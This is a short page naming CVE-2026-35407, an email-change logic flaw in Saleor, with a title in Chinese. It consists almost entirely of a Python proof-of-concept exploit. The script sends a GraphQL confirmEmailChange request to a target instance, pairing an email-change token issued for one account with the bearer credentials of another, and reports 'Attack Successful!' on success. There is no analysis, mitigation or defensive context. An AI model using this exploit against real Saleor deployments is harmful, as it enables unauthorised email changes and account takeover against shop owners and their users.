CVE-2026-35407 Saleor 邮箱更改逻辑漏洞

import requests # Target GraphQL endpoint url = "https://target-saleor-instance.com/graphql/" # The email change token obtained from Account A (leaked or controlled) leaked_token = "VALID_EMAIL_CHANGE_TOKEN_FROM_ACCOUNT_A" # GraphQL Mutation to confirm email change mutation = """ mutation confirmEmailChange($token: String!) { confirmEmailChange(token: $token) { user { email } errors { field message } } } """ # Attacker is authenticated as Account B (Target Account) # Replace with valid JWT or Session Cookie for Account B headers = { "Authorization": "Bearer JWT_TOKEN_OF_ACCOUNT_B", "Content-Type": "application/json" } variables = { "token": leaked_token } # Sending the request to confirm email change for Account B using Account A's token response = requests.post(url, json={"query": mutation, "variables": variables}, headers=headers) # Output the result if response.status_code == 200: print("[+] Attack Successful!") print(response.json()) else: print("[-] Attack Failed") print(response.text)